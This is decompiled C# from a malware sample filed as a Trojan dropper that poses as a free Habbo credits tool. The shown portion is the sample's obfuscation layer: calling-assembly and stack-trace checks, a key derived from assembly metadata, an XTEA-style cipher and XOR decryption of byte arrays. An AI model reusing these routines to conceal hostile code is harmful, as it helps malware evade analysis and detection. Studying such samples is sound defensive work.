// Decompiled with JetBrains decompiler // Type:   // Assembly: qzqFreeHabboCredits, Version=924.8446.573.2307, Culture=neutral, PublicKeyToken=null // MVID: C68363C3-90B9-4B41-B73E-69250BBF6D04 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Dapato.avku-a7f57d7af3f5f2eee9dce73783919f24275306ba8511b766b4e534e54464adb8.exe using System; using System.Collections.Generic; using System.Diagnostics; using System.Reflection; using System.Runtime.CompilerServices; using System.Text; using System.Threading; internal static class \u0003\u2000 { private static \u0003\u2000.\u0002 \u0002; static \u0003\u2000() { \u0003\u2000.\u0002 obj = new \u0003\u2000.\u0002(); if (false) return; \u0003\u2000.\u0002 = obj; } [MethodImpl(MethodImplOptions.NoInlining)] internal static long \u0002() { if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000).Assembly || !\u0003\u2000.\u0002()) return 5038234971328056794; \u0003\u2000.\u0002 obj1 = \u0003\u2000.\u0002; if (true) goto label_24; label_3: Monitor.Enter((object) obj1); \u0003\u2000.\u0002 obj2; try { long num1 = \u0003\u2000.\u0002.\u0002(); if (true) goto label_20; label_5: long num2; if (num2 == 0L) { Assembly executingAssembly = Assembly.GetExecutingAssembly(); if (true) goto label_21; label_7: List byteList1 = new List(); if (true) goto label_22; label_8: Assembly assembly; AssemblyName assemblyName; try { AssemblyName name = assembly.GetName(); if (true) assemblyName = name; } catch { assemblyName = new AssemblyName(assembly.FullName); } byte[] collection = assemblyName.GetPublicKeyToken(); if (collection != null && collection.Length == 0) collection = (byte[]) null; List byteList2; if (collection != null) byteList2.AddRange((IEnumerable) collection); byteList2.AddRange((IEnumerable) Encoding.Unicode.GetBytes(assemblyName.Name)); int num3 = \u0003\u2000.\u0002(typeof (\u0003\u2000)); int num4 = \u0003\u2000.\u0005.\u0002(); byteList2.Add((byte) (num3 >> 24)); byteList2.Add((byte) (num4 >> 16)); byteList2.Add((byte) (num3 >> 8)); byteList2.Add((byte) num4); byteList2.Add((byte) (num3 >> 16)); byteList2.Add((byte) (num4 >> 8)); byteList2.Add((byte) num3); byteList2.Add((byte) (num4 >> 24)); int count = byteList2.Count; ulong num5 = 0; for (int index = 0; index != count; ++index) { ulong num6 = num5 + (ulong) byteList2[index]; ulong num7 = num6 + (num6 << 20); num5 = num7 ^ num7 >> 12; byteList2[index] = (byte) 0; } ulong num8 = num5 + (num5 << 6); ulong num9 = num8 ^ num8 >> 22; num2 = (long) (num9 + (num9 << 30)) ^ -6616114120088140669L; \u0003\u2000.\u0002.\u0002(num2); goto label_19; label_22: byteList2 = byteList1; goto label_8; label_21: assembly = executingAssembly; goto label_7; } label_19: return num2; label_20: num2 = num1; goto label_5; } finally { Monitor.Exit((object) obj2); } label_24: obj2 = obj1; goto label_3; } [MethodImpl(MethodImplOptions.NoInlining)] internal static void \u0002(byte[] _param0) { if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000).Assembly || !\u0003\u2000.\u0002()) return; long num1 = \u0003\u2000.\u0002(); if (true) goto label_8; label_3: byte[] numArray1 = new byte[8]; if (true) goto label_9; label_4: byte[] numArray2; long num2; numArray2[0] = (byte) num2; numArray2[1] = (byte) (num2 >> 40); numArray2[2] = (byte) (num2 >> 56); numArray2[3] = (byte) (num2 >> 48); numArray2[4] = (byte) (num2 >> 32); numArray2[5] = (byte) (num2 >> 24); numArray2[6] = (byte) (num2 >> 16); numArray2[7] = (byte) (num2 >> 8); int length = _param0.Length; if (true) goto label_10; label_5: int num3; for (int index = 0; index != num3; ++index) _param0[index] ^= (byte) ((uint) numArray2[index & 7] + (uint) index); return; label_10: num3 = length; goto label_5; label_9: numArray2 = numArray1; goto label_4; label_8: num2 = num1; goto label_3; } [MethodImpl(MethodImplOptions.NoInlining)] private static bool \u0002() => \u0003\u2000.\u0003(); [MethodImpl(MethodImplOptions.NoInlining)] private static bool \u0003() { StackTrace stackTrace1 = new StackTrace(); if (true) goto label_6; label_1: StackTrace stackTrace2; StackFrame frame = stackTrace2.GetFrame(3); if (true) goto label_7; label_2: StackFrame stackFrame; MethodBase methodBase1 = stackFrame == null ? (MethodBase) null : stackFrame.GetMethod(); if (true) goto label_8; label_3: MethodBase methodBase2; Type type = (object) methodBase2 == null ? (Type) null : methodBase2.DeclaringType; return (object) type != (object) typeof (RuntimeMethodHandle) && (object) type != null && (object) type.Assembly == (object) typeof (\u0003\u2000).Assembly; label_8: methodBase2 = methodBase1; goto label_3; label_7: stackFrame = frame; goto label_2; label_6: stackTrace2 = stackTrace1; goto label_1; } private static int \u0002(Type _param0) { Type type = _param0; if (true) ; return type.MetadataToken; } private sealed class \u0002 { private int \u0002; private int \u0003; internal \u0002() { if (true) ; // ISSUE: explicit constructor call base.\u002Ector(); this.\u0002(0L); } [MethodImpl(MethodImplOptions.NoInlining)] internal long \u0002() { if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u0002).Assembly || !\u0003\u2000.\u0002()) return 2918384; int[] numArray1 = new int[4]; if (true) goto label_14; label_3: int[] numArray2; numArray2[3] = -~~--~~--~~627729805; numArray2[1] = ~--~~--~-~~1069225128; numArray2[2] = -~-~~--~~-~669527105; numArray2[0] = -~-~~--~~-388920300; int num1 = this.\u0002; if (true) goto label_15; label_4: int num2 = this.\u0003; if (true) goto label_16; label_5: int num3 = -~~-~--~-~~1640531527; if (true) goto label_17; label_6: int num4 = -~-~~-~--~~957401312; if (true) goto label_18; label_7: if (true) goto label_19; label_9: int num5; int num6; int num7; int num8; int num9; for (; num9 != 32; ++num9) { num5 -= (num6 << 4 ^ num6 >> 5) + num6 ^ num7 + numArray2[num7 >> 11 & 3]; num7 -= num8; num6 -= (num5 << 4 ^ num5 >> 5) + num5 ^ num7 + numArray2[num7 & 3]; } for (int index = 0; index != 4; ++index) numArray2[index] = 0; return (long) ((ulong) num5 << 32 | (ulong) (uint) num6); label_19: num9 = 0; goto label_9; label_18: num7 = num4; goto label_7; label_17: num8 = num3; goto label_6; label_16: num5 = num2; goto label_5; label_15: num6 = num1; goto label_4; label_14: numArray2 = numArray1; goto label_3; } [MethodImpl(MethodImplOptions.NoInlining)] internal void \u0002(long _param1) { if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u0002).Assembly || !\u0003\u2000.\u0002()) return; int[] numArray1 = new int[4]; if (true) goto label_13; label_2: int[] numArray2; numArray2[1] = -~~--~~-~-~1069225126; numArray2[0] = ~-~--~~-~-388920304; numArray2[2] = ~-~--~~-~-~669527101; numArray2[3] = -~~-~-~--~~627729803; int num1 = ~--~~-~-~1640531524; if (true) goto label_14; label_3: int num2 = (int) _param1; if (true) goto label_15; label_4: int num3 = (int) (_param1 >> 32); if (true) goto label_16; label_5: if (true) goto label_17; label_6: int num4; int num5; int num6; int num7; for (int index = 0; index != 32; ++index) { num4 += (num5 << 4 ^ num5 >> 5) + num5 ^ num6 + numArray2[num6 & 3]; num6 += num7; num5 += (num4 << 4 ^ num4 >> 5) + num4 ^ num6 + numArray2[num6 >> 11 & 3]; } for (int index = 0; index != 4; ++index) numArray2[index] = 0; this.\u0002 = num4; this.\u0003 = num5; return; label_17: num6 = 0; goto label_6; label_16: num5 = num3; goto label_5; label_15: num4 = num2; goto label_4; label_14: num7 = num1; goto label_3; label_13: numArray2 = numArray1; goto label_2; } } private static class \u0003 { internal static int \u0002(int _param0, int _param1) { int num1 = _param0; if (true) ; int num2 = _param1 - ~-~--~~-~1281856105; return num1 ^ num2; } internal static int \u0003(int _param0, int _param1) { int num1 = _param0; if (true) ; int num2 = -~-~-~~-~1431545519; return num1 - num2 ^ _param1 + ~--~~-~-~-1541906380; } internal static int \u0005(int _param0, int _param1) { int num1 = _param0; if (true) ; int num2 = _param1 - -~~-~-~-~-~-894686461 ^ _param0 - _param1; return num1 ^ num2; } } private sealed class \u0005 { public \u0005() { if (true) ; // ISSUE: explicit constructor call base.\u002Ector(); } [MethodImpl(MethodImplOptions.NoInlining)] internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u0005).Assembly || !\u0003\u2000.\u0002() ? -1509110933 : \u0003\u2000.\u0003.\u0005(\u0003\u2000.\u0003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0006)), \u0003\u2000.\u0003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005)), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u000F)))), \u0003\u2000.\u0002\u2000.\u0002()); } private sealed class \u0006 { public \u0006() { if (true) ; // ISSUE: explicit constructor call base.\u002Ector(); } [MethodImpl(MethodImplOptions.NoInlining)] internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u0006).Assembly || !\u0003\u2000.\u0002() ? -82806859 : \u0003\u2000.\u0003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0008)), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u000E)) ^ \u0003\u2000.\u0003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0006)), \u0003\u2000.\u0003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2000)), \u0003\u2000.\u000E.\u0002()))); } private sealed class \u0008 { public \u0008() { if (true) ; // ISSUE: explicit constructor call base.\u002Ector(); } [MethodImpl(MethodImplOptions.NoInlining)] internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u0008).Assembly || !\u0003\u2000.\u0002() ? 1294352278 : \u0003\u2000.\u0003.\u0005(\u0003\u2000.\u0003.\u0002(\u0003\u2000.\u0006.\u0002() ^ ~--~-~~--~~-527758446, \u0003\u2000.\u0002(typeof (\u0003\u2000.\u000E))), \u0003\u2000.\u0003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005)) ^ \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2000)), -~-~-~~-~-38783456)); } private sealed class \u000E { public \u000E() { if (true) ; // ISSUE: explicit constructor call base.\u002Ector(); } [MethodImpl(MethodImplOptions.NoInlining)] internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u000E).Assembly || !\u0003\u2000.\u0002() ? 402344241 : \u0003\u2000.\u0003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u000E)), \u0003\u2000.\u0003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005)), \u0003\u2000.\u0003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0006)), \u0003\u2000.\u0003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0008)), \u0003\u2000.\u0003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u000F)), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2000))))))); } private sealed class \u000F { public \u000F() { if (true) ; // ISSUE: explicit constructor call base.\u002Ector(); } [MethodImpl(MethodImplOptions.NoInlining)] internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u000F).Assembly || !\u0003\u2000.\u0002() ? -56237163 : \u0003\u2000.\u0003.\u0003(\u0003\u2000.\u0003.\u0003(\u0003\u2000.\u0008.\u0002(), \u0003\u2000.\u0003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u000F)), \u0003\u2000.\u0006.\u0002())), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2000))); } private sealed class \u0002\u2000 { public \u0002\u2000() { if (true) ; // ISSUE: explicit constructor call base.\u002Ector(); } [MethodImpl(MethodImplOptions.NoInlining)] internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u0002\u2000).Assembly || !\u0003\u2000.\u0002() ? 1106695601 : \u0003\u2000.\u0003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2000)), \u0003\u2000.\u0003.\u0005(\u0003\u2000.\u0003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u000F)), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005))), \u0003\u2000.\u0003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0008)) ^ -~~--~~-~-~1036479759, \u0003\u2000.\u000F.\u0002()))); } }